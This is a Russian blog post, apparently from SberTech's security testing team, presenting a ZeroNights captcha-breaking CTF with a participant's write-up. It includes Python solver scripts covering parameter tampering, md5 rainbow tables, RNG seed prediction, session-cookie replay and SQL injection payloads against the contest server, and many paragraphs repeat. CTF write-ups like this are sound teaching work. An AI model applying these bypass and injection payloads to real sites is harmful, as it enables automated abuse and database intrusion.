В этом году на ИБ-конференции ZeroNights отдел тестирования информационной безопасности приложений СберТеха предложил участникам ZeroNights поискать уязвимости в различных реализациях капчи. Всего мы дали 11 примеров с логическими или программными ошибками, которые позволяют решать множество капч за малое время. В каждом раунде от участников требовалось «решить» 20 капч за 10 секунд и при этом набрать нужный процент правильных ответов.
Мы предлагаем вам тоже поучаствовать. В посте мы разместим ссылки на все задания, составленные fryday, а под ними в спойлерах — write-up участника Liro с правильными ответами.
![](https://habrastorage.org/getpro/habr/post_images/6bf/1c9/6e9/6bf1c96e9e25f2626d6f04950f09f8cd.png)
Для доступа к заданиям необходима регистрация на сайте с заданиями. Много времени она не займет — подтверждающих писем нет, после ввода своих данных можно сразу логиниться.
Это задание предназначено для знакомства с интерфейсом. В начале каждого задания будет дано краткое описание, общее количество капч, требуемый процент правильно введенных капч и время решения, а также зарабатываемые очки. По количеству очков можно примерно оценить сложность задания.
![](https://habrastorage.org/getpro/habr/post_images/466/0dc/57f/4660dc57f4f93008dc587dd1fa61af50.png)
![](https://habrastorage.org/getpro/habr/post_images/98b/437/b38/98b437b3879728bae5b2fde6d7f522e1.png)
![](https://habrastorage.org/getpro/habr/post_images/1b4/f1a/749/1b4f1a749716eb99f5d880305d0a3ba2.png)
![](https://habrastorage.org/getpro/habr/post_images/597/2e8/97e/5972e897e860f7f212e97c28d547f492.png)
![](https://habrastorage.org/getpro/habr/post_images/788/54b/ded/78854bdedf12014368114ca90b0b81f2.png)
![](https://habrastorage.org/getpro/habr/post_images/373/dd9/80e/373dd980edadd3ffffd0db4532c31bd8.png)
![](https://habrastorage.org/getpro/habr/post_images/ed0/6bb/e2a/ed06bbe2a9edcd51f2dec5cb1d8bb7f4.png)
![](https://habrastorage.org/getpro/habr/post_images/22c/14b/d3d/22c14bd3db2873c3627ec71590e57205.png)
![](https://habrastorage.org/getpro/habr/post_images/879/383/b8d/879383b8d0e4325ec344d787d6fad5be.png)
![](https://habrastorage.org/getpro/habr/post_images/38c/fc3/78a/38cfc378a334fba47f4305a2cbd4855c.png)
![](https://habrastorage.org/getpro/habr/post_images/05a/ca2/68b/05aca268b3a03147f41eff1c8d40de2a.png)
Мы предлагаем вам тоже поучаствовать. В посте мы разместим ссылки на все задания, составленные fryday, а под ними в спойлерах — write-up участника Liro с правильными ответами.
![](https://habrastorage.org/getpro/habr/post_images/6bf/1c9/6e9/6bf1c96e9e25f2626d6f04950f09f8cd.png)
Для доступа к заданиям необходима регистрация на сайте с заданиями. Много времени она не займет — подтверждающих писем нет, после ввода своих данных можно сразу логиниться.
Задание-разминка: «Ciferka»
Это задание предназначено для знакомства с интерфейсом. В начале каждого задания будет дано краткое описание, общее количество капч, требуемый процент правильно введенных капч и время решения, а также зарабатываемые очки. По количеству очков можно примерно оценить сложность задания.
![](https://habrastorage.org/getpro/habr/post_images/466/0dc/57f/4660dc57f4f93008dc587dd1fa61af50.png)
Задание 2: «A little bit greeky»
![](https://habrastorage.org/getpro/habr/post_images/98b/437/b38/98b437b3879728bae5b2fde6d7f522e1.png)
Решение
В этом задании нам каждый раз нам предлагается вводить «осознанное» слово. Быстро гуглим – оказывается, что это имена богов из греческой мифологии. После ввода нескольких капч и просмотра кода картинок замечаем, что каждый раз номер картинки меняется:
![](https://habrastorage.org/getpro/habr/post_images/37f/15f/00e/37f15f00e3b77fec52035a598b6694f7.jpg)
Можно предположить, что количество картинок ограничено. В коде страницы указаны непосредственно ссылки на сами капчи. Выгружаем их руками — всего оказалось 16 штук.
У нас есть конечное количество картинок с номерами от 1 до 16, где каждому номеру соответствует имя конкретного персонажа. Теперь остается при каждом запросе найти в коде страницы номер капчи и отправить нужного персонажа, соответствующего этому номеру:
![](https://habrastorage.org/getpro/habr/post_images/37f/15f/00e/37f15f00e3b77fec52035a598b6694f7.jpg)
Можно предположить, что количество картинок ограничено. В коде страницы указаны непосредственно ссылки на сами капчи. Выгружаем их руками — всего оказалось 16 штук.
У нас есть конечное количество картинок с номерами от 1 до 16, где каждому номеру соответствует имя конкретного персонажа. Теперь остается при каждом запросе найти в коде страницы номер капчи и отправить нужного персонажа, соответствующего этому номеру:
def chal2():
def load_captcha_images():
url = "http://captcha.cf/static/ciferki/{}.png"
for i in range(1, 16):
resp = requests.get(url.format(i))
with open('captcha1/{}.png'.format(i), 'wb') as f:
f.write(resp.content)
gods = 'Zeus Hera Aphrodite Apollo Ares Leto Athena Phobos Dionysus Hades Triton Hermes Eos Poseidon Morpheus'
captcha_solutions = gods.split()
resp = s.post('http://captcha.cf/challenge/2/start', proxies=proxies)
resp = s.get('http://captcha.cf/challenge/2', proxies=proxies)
for i in range(50):
captcha_match = re.search(r'<img src="/static/ciferki/(\d+).png"/>', resp.text)
if not captcha_match:
print(resp.text)
captcha_num = int(captcha_match.group(1))
print('captcha_num:', captcha_num)
resp = s.post(
'http://captcha.cf/captcha',
data={'answer': captcha_solutions[captcha_num - 1]},
proxies=proxies)
Задание 3: «One, two, three…»
![](https://habrastorage.org/getpro/habr/post_images/1b4/f1a/749/1b4f1a749716eb99f5d880305d0a3ba2.png)
Решение
Если внимательно прочитать задание, можно заметить одну странность – нам необходимо всего лишь 24% правильных ответов для успешного прохождения. Запомним это и продолжим наши поиски.
Во всех капчах этого задания нам предлагают ввести результат суммирования некоторых чисел. После прохождения всех капч становится ясно, что в суммировании используются только числа от 1 до 4.
Переберем все возможные комбинации, которые могут появляться, основываясь на наших догадках о том, что цифры больше 4 в сумме не используются:
Самый частый результат суммы — 5, ровно 25% всех сумм. В условии стоит 24% верных капч, так что если мы установим «5» как ответ для всех, то решим задачу:
Во всех капчах этого задания нам предлагают ввести результат суммирования некоторых чисел. После прохождения всех капч становится ясно, что в суммировании используются только числа от 1 до 4.
Переберем все возможные комбинации, которые могут появляться, основываясь на наших догадках о том, что цифры больше 4 в сумме не используются:
1+1=2 |
2+1=3 |
3+1=4 |
4+1=5 |
1+2=3 |
2+2=4 |
3+2=5 |
4+2=6 |
1+3=4 |
2+3=5 |
3+3=6 |
4+3=7 |
1+4=5 |
2+4=6 |
3+4=7 |
4+4=8 |
Самый частый результат суммы — 5, ровно 25% всех сумм. В условии стоит 24% верных капч, так что если мы установим «5» как ответ для всех, то решим задачу:
def chal3():
resp = s.post('http://captcha.cf/challenge/3/start', proxies=proxies)
for i in range(20):
resp = s.post('http://captcha.cf/captcha', data={'answer': 5}, proxies=proxies)
time.sleep(65)
Задание 4: «We need to go deeper»
![](https://habrastorage.org/getpro/habr/post_images/597/2e8/97e/5972e897e860f7f212e97c28d547f492.png)
Решение
Cмотрим код страницы и видим там обфусцированный JavaScript. Скорей всего, этот код и проверяет правильность вводимой капчи. Проверим свою теорию с помощью Burp Suite:
Помимо введенной капчи, на сервер также отправляется параметр «correct» равный 1. То есть можно обмануть сервер, отправляя ему каждый раз одно и тоже значение капчи, при этом добавив параметр correct:
![](https://habrastorage.org/getpro/habr/post_images/3b4/dbb/7fa/3b4dbb7facf33d26841f57ce0a72db45.png)
Помимо введенной капчи, на сервер также отправляется параметр «correct» равный 1. То есть можно обмануть сервер, отправляя ему каждый раз одно и тоже значение капчи, при этом добавив параметр correct:
<b>def</b> chal4():
resp = s.post('http://captcha.cf/challenge/4/start', proxies=proxies)
<b>for</b> i <b>in</b> range(20):
<b>print</b>(i)
s.post('http://captcha.cf/captcha', data={'answer': '0C8X4', 'correct': '1'}, allow_redirects=False, proxies=proxies)
Задание 5: «Promzona»
![](https://habrastorage.org/getpro/habr/post_images/788/54b/ded/78854bdedf12014368114ca90b0b81f2.png)
Решение
Визуальный анализ капчи ничего не дает, поэтому мы использовали Burp Suite для анализа:
![](https://habrastorage.org/getpro/habr/post_images/853/06e/b98/85306eb98a26e0d4687cdbbb4797e0e8.png)
Как оказалось, для проверки на сервер помимо ответа на капчу отправляется также параметр «kod», который хранится в коде страницы:
![](https://habrastorage.org/getpro/habr/post_images/e90/339/26a/e9033926ab6e51eafa2c3c76438563f7.jpg)
Нетрудно догадаться, что параметр «kod» — это md5-хеш от ответа. Таким образом, отправляем на сервер 20 раз корректную пару answer/kod, и задание засчитано:
![](https://habrastorage.org/getpro/habr/post_images/853/06e/b98/85306eb98a26e0d4687cdbbb4797e0e8.png)
Как оказалось, для проверки на сервер помимо ответа на капчу отправляется также параметр «kod», который хранится в коде страницы:
![](https://habrastorage.org/getpro/habr/post_images/e90/339/26a/e9033926ab6e51eafa2c3c76438563f7.jpg)
Нетрудно догадаться, что параметр «kod» — это md5-хеш от ответа. Таким образом, отправляем на сервер 20 раз корректную пару answer/kod, и задание засчитано:
def chal5():
resp = s.post('http://captcha.cf/challenge/5/start', proxies=proxies)
for i in range(20):
print(i)
s.post('http://captcha.cf/captcha', data={'answer': '55', 'kod':'b53b3a3d6ab90ce0268229151c9bde11'}, allow_redirects=False, proxies=proxies)
Задание 6: «Dispersion»
![](https://habrastorage.org/getpro/habr/post_images/373/dd9/80e/373dd980edadd3ffffd0db4532c31bd8.png)
Решение
При вводе капч мы заметили, что длина капчи всегда составляет пять символов, а в ней используются только заглавные буквы и цифры. Просмотрев код, мы также видим, что название картинки капчи — это md5-хэш от ее символов.
![](https://habrastorage.org/getpro/habr/post_images/bef/d4b/980/befd4b98057645a3261515d10bcf2738.jpg)
Анализ через Burp Suite показывает, что нам необходимо только поле answer, которое является ответом на капчу.
![](https://habrastorage.org/getpro/habr/post_images/450/276/b43/450276b430260cfc64dc7ed2d2fa77ff.jpg)
Дело за малым – вытащить из кода страницы необходимое значение хэша, а по нему восстановить значение капчи. Однако функция, обратная хэшированию, сложна к вычислению, поэтому пойдем другим путем. Составим таблицу пар всех возможных капч (только заглавные буквы и цифры, длина капчи всегда 5 символов) и значения md5-хэшей от них, произведем поиск необходимого значения капчи по хэшу:
Для выполнения задания понадобилось написать дополнительные функции:
![](https://habrastorage.org/getpro/habr/post_images/bef/d4b/980/befd4b98057645a3261515d10bcf2738.jpg)
Анализ через Burp Suite показывает, что нам необходимо только поле answer, которое является ответом на капчу.
![](https://habrastorage.org/getpro/habr/post_images/450/276/b43/450276b430260cfc64dc7ed2d2fa77ff.jpg)
Дело за малым – вытащить из кода страницы необходимое значение хэша, а по нему восстановить значение капчи. Однако функция, обратная хэшированию, сложна к вычислению, поэтому пойдем другим путем. Составим таблицу пар всех возможных капч (только заглавные буквы и цифры, длина капчи всегда 5 символов) и значения md5-хэшей от них, произведем поиск необходимого значения капчи по хэшу:
def chal6():
resp = s.post('http://captcha.cf/challenge/6/start')
for i in range(20):
m = re.search(r'static/regenbogen/(.*?)\.png', resp.text)
hash_ = m.group(1)
word = sh.grep(hash_, 'md5_tables/' + hash_[0] + '.md5').split(':')[1].strip()
print(hash_, word)
resp = s.post('http://captcha.cf/captcha', data={'answer': word})
Для выполнения задания понадобилось написать дополнительные функции:
- мы сгенерировали все возможные md5-хэши для ответов длиной в 5 символов, состоящих из заглавных букв и цифр;
- для прохождения задания в заданное время, мы отсортировали все хэши по первому символу. Т.е. мы смотрим первый символ хэша капчи, открываем необходимый блок сортировки и производим поиск по нему только в этом блоке.
alphabet = string.ascii_lowercase + string.digits
def gen_md5_table():
a = string.ascii_uppercase + string.digits
table = itertools.product(a, repeat=5)
f = open('md5_table', 'w')
for i in table:
s = hashlib.md5(bytes(''.join(i), 'ascii')).hexdigest() + ':' + ''.join(i)
print(s)
f.write(s + '\n')
f.close()
<i># call gen_md5_table
# in bash: sort md5_table > md5_sorted
# in bash: mkdir md5_tables
# call split_to_files</i>
def split_to_files():
file_handlers = {}
for a in alphabet:
file_handlers[a] = open('md5_tables/' + a +'.md5', 'w')
with open('md5_sorted') as f:
for line in f:
file_handlers[line[0]].write(line)
Задание 7: «Four rooms»
![](https://habrastorage.org/getpro/habr/post_images/ed0/6bb/e2a/ed06bbe2a9edcd51f2dec5cb1d8bb7f4.png)
Решение
К своему удивлению, вместо непонятных, трудно читаемых символов мы видим в задании красивую, абсолютно понятную картинку:
![](https://habrastorage.org/getpro/habr/post_images/6c6/6cb/c53/6c66cbc53962b230bd7884a235e5bfd5.jpg)
Благодаря читабельности картинки можно использовать технологию оптического распознавания символов. В python3 — OCR-модуль pytesseract. Пришлось немного исправить функцию, убрав из считываемого текста возможные пробелы, которые не подразумеваются при вводе капчи.
![](https://habrastorage.org/getpro/habr/post_images/6c6/6cb/c53/6c66cbc53962b230bd7884a235e5bfd5.jpg)
Благодаря читабельности картинки можно использовать технологию оптического распознавания символов. В python3 — OCR-модуль pytesseract. Пришлось немного исправить функцию, убрав из считываемого текста возможные пробелы, которые не подразумеваются при вводе капчи.
def chal7():
s.post('http://captcha.cf/challenge/7/start', proxies=proxies)
for i in range(1, 21):
resp = s.get('http://captcha.cf/captcha/image', proxies=proxies)
image_name = '/tmp/{}.png'.format(i)
with open(image_name, 'wb') as f:
f.write(resp.content)
text = pytesseract.image_to_string(Image.open(image_name), config='psm -7').replace(' ', '')
print('text:', text)
s.post('http://captcha.cf/captcha', data={'answer': text}, allow_redirects=False, proxies=proxies)
Задание 8: «Strategic Explorations of Exoplanets and Disks with Subaru»
![](https://habrastorage.org/getpro/habr/post_images/22c/14b/d3d/22c14bd3db2873c3627ec71590e57205.png)
Решение
Перед нами вроде бы обычная жуткая капча. Посмотрим код картинок:
![](https://habrastorage.org/getpro/habr/post_images/7d1/074/52d/7d107452d17ac7ea33fb598ca5b44a7e.jpg)
Цифры увеличиваются, но никаких последовательностей на протяжении ввода капч не прослеживается. После некоторых раздумий становится понятно: нашим условиям соответствует время. Это параметр, который последовательно увеличивается, но зависимость здесь не лежит на поверхности, так как совершать действия через идеально равные промежутки времени вручную невозможно.
Число на капче – некоторая модификация времени, прописанного в коде страницы. Один из вариантов использования времени — это инициализация генератора случайных чисел. Мы заметили, что числа капч находились в диапазоне от 10 000 до 100 000. Эти границы и были заданы для генерации случайных чисел.
![](https://habrastorage.org/getpro/habr/post_images/7d1/074/52d/7d107452d17ac7ea33fb598ca5b44a7e.jpg)
Цифры увеличиваются, но никаких последовательностей на протяжении ввода капч не прослеживается. После некоторых раздумий становится понятно: нашим условиям соответствует время. Это параметр, который последовательно увеличивается, но зависимость здесь не лежит на поверхности, так как совершать действия через идеально равные промежутки времени вручную невозможно.
Число на капче – некоторая модификация времени, прописанного в коде страницы. Один из вариантов использования времени — это инициализация генератора случайных чисел. Мы заметили, что числа капч находились в диапазоне от 10 000 до 100 000. Эти границы и были заданы для генерации случайных чисел.
def chal8():
resp = s.post('http://captcha.cf/challenge/8/start', proxies=proxies)
for i in range(20):
m = re.search(r'/static/random/42_(\d+).png', resp.text)
r = m.group(1)
random.seed(int(r))
print('r:', r)
ans = random.randrange(10000,100000)
resp = s.post('http://captcha.cf/captcha', data={'answer': ans}, proxies=proxies)
Задание 9: «Watson»
![](https://habrastorage.org/getpro/habr/post_images/879/383/b8d/879383b8d0e4325ec344d787d6fad5be.png)
Решение
Начнем сразу с Burp Suite:
![](https://habrastorage.org/getpro/habr/post_images/dce/839/72b/dce83972b009eb20bf0e04a6b9a40855.jpg)
Эта задача уже посложней. Кроме поля «answer» ничего нет, а значит нужно искать способ решения где-то в другом месте. После некоторых изысканий, мы дошли до анализа отправленного значения cookie. Заметим, что их значение очень напоминает информацию, закодированную в base64. Проверим это:
Поле «captcha» указывает на то, что с помощью cookie подтверждается валидность капчи. То есть для определенной сессии и определенного поля «answer» наш ответ будет всегда считаться правильным:
![](https://habrastorage.org/getpro/habr/post_images/861/43b/b1d/86143bb1d7012582533d743360639eae.jpg)
![](https://habrastorage.org/getpro/habr/post_images/dce/839/72b/dce83972b009eb20bf0e04a6b9a40855.jpg)
Эта задача уже посложней. Кроме поля «answer» ничего нет, а значит нужно искать способ решения где-то в другом месте. После некоторых изысканий, мы дошли до анализа отправленного значения cookie. Заметим, что их значение очень напоминает информацию, закодированную в base64. Проверим это:
Поле «captcha» указывает на то, что с помощью cookie подтверждается валидность капчи. То есть для определенной сессии и определенного поля «answer» наш ответ будет всегда считаться правильным:
![](https://habrastorage.org/getpro/habr/post_images/861/43b/b1d/86143bb1d7012582533d743360639eae.jpg)
def chal9():
resp = s.post('http://captcha.cf/challenge/9/start', proxies=proxies)
for i in range(20):
cookies = {'session':'eyJjYXB0Y2hhIjoiZjhkYTJlYjY4ZmU2YmRjZmY4YTk1NzJiNjMxNGQ2YmMiLCJ1c2VybmFtZSI6ImRtaXRyeS5tYW50aXNAZ21haWwuY29tIn0.DO94IQ.gHUIa3tyIgQ-JdpQ-O0GwUerTSI'}
requests.post('http://captcha.cf/captcha', data={'answer': 'ICF4G'}, allow_redirects=False, proxies=proxies, cookies=cookies)
Задание 10: «Medicine»
![](https://habrastorage.org/getpro/habr/post_images/38c/fc3/78a/38cfc378a334fba47f4305a2cbd4855c.png)
Решение
Для успешного выполнения задания необходимо проэксплуатировать SQL-инъекцию в параметре answer. Логика запроса заключается в сравнении результата капчи из таблицы captcha из базы данных c полученной от пользователя капчей. Исходя из этого передадим на вход в параметр answer:
![](https://habrastorage.org/getpro/habr/post_images/98f/904/abb/98f904abbf6a49051fd65e0c6612f39c.jpg)
Автоматизируем процесс эксплуатации:
11111’ union select result from sqli.captcha where id=’<id_from_page_here>’ -- 1
![](https://habrastorage.org/getpro/habr/post_images/98f/904/abb/98f904abbf6a49051fd65e0c6612f39c.jpg)
Автоматизируем процесс эксплуатации:
def chal10():
resp = s.post('http://captcha.cf/challenge/10/start')
for i in range(20):
m = re.search(r'name="id" value="(.*?)">', resp.text)
id_ = m.group(1)
print(id_)
data = {
'answer': "asdadsdsa' union select result from sqli.captcha where id='{}' — 1".format(id_),
'id': id_
}
resp = s.post('http://captcha.cf/captcha', data=data)
Задание 11: «Poliklinika»
![](https://habrastorage.org/getpro/habr/post_images/05a/ca2/68b/05aca268b3a03147f41eff1c8d40de2a.png)
Решение
Иногда составители заданий проводят аналогии между названиями самих заданий и способами решения проблемы. Медицинская тема сработала в прошлой задаче. Также и название Poliklinika наталкивает на попытки использовать SQL-инъекции для решения задачи. Для начала наше задание прогоним через Burp:
![](https://habrastorage.org/getpro/habr/post_images/846/46a/855/84646a85585ee1a0c2da79cc7b6099c3.jpg)
Опять нам нужны два поля – «answer» и «id». Второй параметр можно получить из кода страницы:
![](https://habrastorage.org/getpro/habr/post_images/eac/b30/ac5/eacb30ac58454bfedb6f956612814d75.jpg)
Видно, что логика SQL запроса представляет собой нечто подобное
SELECT id FROM captcha_table WHERE captcha=’$captcha’
с дальнейшей сверкой полученного результата с параметром id запроса.
Поменяем логику запроса, отдавая в параметре с капчей anything’ or id=’id_parsed_from_page_body. Благодаря логическому ИЛИ запрос будет выполнен успешно и полученный id из базы данных совпадет с id, передаваемым в запросе.
Проверим, проэксплуатировав SQL-инъекцию на вводе капчи:
![](https://habrastorage.org/getpro/habr/post_images/f7d/d7e/a56/f7dd7ea56fcf0d884920df79ff4e3c0c.png)
Эксплуатация проведена успешно, осталось только автоматизировать сдачу результатов.
![](https://habrastorage.org/getpro/habr/post_images/846/46a/855/84646a85585ee1a0c2da79cc7b6099c3.jpg)
Опять нам нужны два поля – «answer» и «id». Второй параметр можно получить из кода страницы:
![](https://habrastorage.org/getpro/habr/post_images/eac/b30/ac5/eacb30ac58454bfedb6f956612814d75.jpg)
Видно, что логика SQL запроса представляет собой нечто подобное
SELECT id FROM captcha_table WHERE captcha=’$captcha’
с дальнейшей сверкой полученного результата с параметром id запроса.
Поменяем логику запроса, отдавая в параметре с капчей anything’ or id=’id_parsed_from_page_body. Благодаря логическому ИЛИ запрос будет выполнен успешно и полученный id из базы данных совпадет с id, передаваемым в запросе.
Проверим, проэксплуатировав SQL-инъекцию на вводе капчи:
![](https://habrastorage.org/getpro/habr/post_images/f7d/d7e/a56/f7dd7ea56fcf0d884920df79ff4e3c0c.png)
Эксплуатация проведена успешно, осталось только автоматизировать сдачу результатов.
def chal11():
resp = s.post('http://captcha.cf/challenge/11/start', proxies=proxies)
for i in range(20):
m = re.search(r'name="id" value="(.*?)">', resp.text)
cid = m.group(1)
data = { 'answer': "asdadsdsa' or id='{}' -- 1".format(cid), 'id': cid}
resp = s.post('http://captcha.cf/captcha', data=data, proxies=proxies)